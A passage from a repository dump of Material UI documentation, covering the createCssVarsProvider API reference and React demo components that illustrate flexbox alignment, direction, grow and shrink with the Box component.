);\n}\n\n// main.js\nimport * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport App from './App';\nimport { CssVarsProvider } from './CssVarsProvider';\n\nReactDOM.createRoot(document.getElementById('root')).render(\n  <CssVarsProvider>\n    <App />\n  </CssVarsProvider>,\n);\n```\n\nNow, the Button's `backgroundColor`, `borderColor` and text `color` values will correctly use the colors based on the selected `mode`.\n\n### Demo\n\n{{\"demo\": \"CreateCssVarsProvider.js\"}}\n\nFor framework- or language-specific setup instructions, see [CSS theme variables—Usage—Server-side rendering](/material-ui/customization/css-theme-variables/usage/).\nFor framework or language specific setup, see [this](/material-ui/customization/css-theme-variables/usage/)\n\n<!-- #target-branch-reference -->\n\nSee the complete usage of `createCssVarsProvider` in [Material UI](https://github.com/mui/material-ui/blob/master/packages/mui-material/src/styles/ThemeProviderWithVars.tsx).\n\n## API\n\n### `createCssVarsProvider` options\n\n- `modeStorageKey?`: localStorage key used to store application `mode` (`mode` by default)\n- `colorSchemeStorageKey?`: localStorage key used to store `colorScheme`\n- `defaultColorScheme`: Design system default color scheme (string or object depending on if the design system has 1 or more themes, can be `light` or `dark`)\n- `defaultMode?`: Design system default mode (`light` by default)\n- `disableTransitionOnChange?`: Disable CSS transitions when switching between modes or color schemes (`false` by default)\n- `themeId?`: The design system's unique id for getting the corresponded theme when there are multiple design systems.\n- `theme`: Design system default theme. It's structure, besides the minimum requirements by `createCssVarsProvider`, is upto the design system to implement.\n- `resolveTheme(theme: Theme) => Theme`: A function to be called after the CSS variables are attached. The result of this function will be the final theme pass to `ThemeProvider`.\n\n`createCssVarsProvider` returns 3 items.\n\n### `<CssVarsProvider>` props\n\n- `defaultMode?: 'light' | 'dark' | 'system'` - Application's default mode (`light` by default)\n- `disableTransitionOnChange : boolean` - Disable CSS transitions when switching between modes\n- `theme: ThemeInput` - The theme provided to React's context. It should have these fields:\n  - `colorSchemes: { [key: string]: ColorScheme }` - The color schemes for the application\n  - `colorSchemeSelector: 'media' | 'class' | 'data' | string`: - The method to apply CSS theme variables and component styles\n  - `generateStyleSheets: () => Record<string, string>` - Function to generate CSS variables\n  - `generateThemeVars: () => Record<string, any>` - Function to generate CSS variables reference for the `theme.vars`\n- `modeStorageKey?: string` - localStorage key used to store application `mode`\n\n### `useColorScheme: () => ColorSchemeContextValue`\n\n- `mode: string` - The user's selected mode\n- `setMode: mode => {…}` - Function for setting the `mode`. The `mode` is saved to internal state and local storage; if `mode` is null, it will be reset to the default mode\n\n### `getInitColorSchemeScript: (options) => React.ReactElement`\n\n**options**\n\n- `defaultMode?: 'light' | 'dark' | 'system'`: - Application's default mode before React renders the tree (`light` by default)\n- `modeStorageKey?: string`: - localStorage key used to store application `mode`\n- `attribute?: string` - DOM attribute for applying color scheme\n"
  },
  {
    "path": "docs/data/system/flexbox/AlignContent.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function AlignContent() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap',\n          alignContent: 'flex-start',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 380,\n          height: 200,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n        <Item>Item 7</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap',\n          alignContent: 'flex-end',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 380,\n          height: 200,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n        <Item>Item 7</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap',\n          alignContent: 'center',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 380,\n          height: 200,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n        <Item>Item 7</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap',\n          alignContent: 'space-between',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 380,\n          height: 200,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n        <Item>Item 7</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap',\n          alignContent: 'space-around',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 380,\n          height: 200,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n        <Item>Item 7</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap',\n          alignContent: 'stretch',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 380,\n          height: 200,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n        <Item>Item 7</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/AlignContent.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function AlignContent() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap',\n          alignContent: 'flex-start',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 380,\n          height: 200,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n        <Item>Item 7</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap',\n          alignContent: 'flex-end',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 380,\n          height: 200,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n        <Item>Item 7</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap',\n          alignContent: 'center',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 380,\n          height: 200,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n        <Item>Item 7</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap',\n          alignContent: 'space-between',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 380,\n          height: 200,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n        <Item>Item 7</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap',\n          alignContent: 'space-around',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 380,\n          height: 200,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n        <Item>Item 7</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap',\n          alignContent: 'stretch',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 380,\n          height: 200,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n        <Item>Item 7</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/AlignItems.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function AlignItems() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'flex-start',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          height: 100,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'flex-end',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          height: 100,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'center',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          height: 100,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'stretch',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          height: 100,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'baseline',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          height: 116,\n          borderRadius: 1,\n        }}\n      >\n        <Item sx={{ height: 64 }}>Item 1</Item>\n        <Item sx={{ height: 84 }}>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/AlignItems.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function AlignItems() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'flex-start',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          height: 100,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'flex-end',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          height: 100,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'center',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          height: 100,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'stretch',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          height: 100,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'baseline',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          height: 116,\n          borderRadius: 1,\n        }}\n      >\n        <Item sx={{ height: 64 }}>Item 1</Item>\n        <Item sx={{ height: 84 }}>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/AlignSelf.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function AlignSelf() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'flex-start',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          height: 124,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item sx={{ alignSelf: 'flex-end' }}>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/AlignSelf.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function AlignSelf() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'flex-start',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          height: 124,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item sx={{ alignSelf: 'flex-end' }}>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/AlignSelf.tsx.preview",
    "content": "<Box\n  sx={{\n    display: 'flex',\n    alignItems: 'flex-start',\n    p: 1,\n    m: 1,\n    bgcolor: 'background.paper',\n    height: 124,\n    borderRadius: 1,\n  }}\n>\n  <Item>Item 1</Item>\n  <Item sx={{ alignSelf: 'flex-end' }}>Item 2</Item>\n  <Item>Item 3</Item>\n</Box>"
  },
  {
    "path": "docs/data/system/flexbox/Display.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Display() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={[\n          (theme) => ({\n            display: 'flex',\n            m: 1,\n            p: 1,\n            bgcolor: '#fff',\n            color: 'grey.800',\n            border: '1px solid',\n            borderColor: 'grey.300',\n            borderRadius: 2,\n            fontSize: '0.875rem',\n            fontWeight: '700',\n            ...theme.applyStyles('dark', {\n              bgcolor: '#101010',\n              color: 'grey.300',\n              borderColor: 'grey.800',\n            }),\n          }),\n        ]}\n      >\n        {\"I'm a flexbox container that uses flex!\"}\n      </Box>\n      <Box\n        sx={(theme) => ({\n          display: 'inline-flex',\n          m: 1,\n          p: 1,\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        {\"I'm a flexbox container that uses inline-flex!\"}\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/Display.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Display() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={[\n          (theme) => ({\n            display: 'flex',\n            m: 1,\n            p: 1,\n            bgcolor: '#fff',\n            color: 'grey.800',\n            border: '1px solid',\n            borderColor: 'grey.300',\n            borderRadius: 2,\n            fontSize: '0.875rem',\n            fontWeight: '700',\n            ...theme.applyStyles('dark', {\n              bgcolor: '#101010',\n              color: 'grey.300',\n              borderColor: 'grey.800',\n            }),\n          }),\n        ]}\n      >\n        {\"I'm a flexbox container that uses flex!\"}\n      </Box>\n      <Box\n        sx={(theme) => ({\n          display: 'inline-flex',\n          m: 1,\n          p: 1,\n          bgcolor: '#fff',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        {\"I'm a flexbox container that uses inline-flex!\"}\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/FlexDirection.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function FlexDirection() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: 'row',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: 'row-reverse',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'flex-start',\n          flexDirection: 'column',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: 'column-reverse',\n          alignItems: 'flex-start',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/FlexDirection.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function FlexDirection() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: 'row',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: 'row-reverse',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'flex-start',\n          flexDirection: 'column',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: 'column-reverse',\n          alignItems: 'flex-start',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/FlexGrow.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function FlexGrow() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{ display: 'flex', p: 1, bgcolor: 'background.paper', borderRadius: 1 }}\n      >\n        <Item sx={{ flexGrow: 1 }}>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/FlexGrow.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function FlexGrow() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{ display: 'flex', p: 1, bgcolor: 'background.paper', borderRadius: 1 }}\n      >\n        <Item sx={{ flexGrow: 1 }}>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/FlexGrow.tsx.preview",
    "content": "<Box\n  sx={{ display: 'flex', p: 1, bgcolor: 'background.paper', borderRadius: 1 }}\n>\n  <Item sx={{ flexGrow: 1 }}>Item 1</Item>\n  <Item>Item 2</Item>\n  <Item>Item 3</Item>\n</Box>"
  },
  {
    "path": "docs/data/system/flexbox/FlexShrink.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function FlexShrink() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{ display: 'flex', p: 1, bgcolor: 'background.paper', borderRadius: 1 }}\n      >\n        <Item sx={{ width: '100%' }}>Item 1</Item>\n        <Item sx={{ flexShrink: 1 }}>Item 2</Item>\n        <Item sx={{ flexShrink: 0 }}>Item 3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/FlexShrink.tsx",
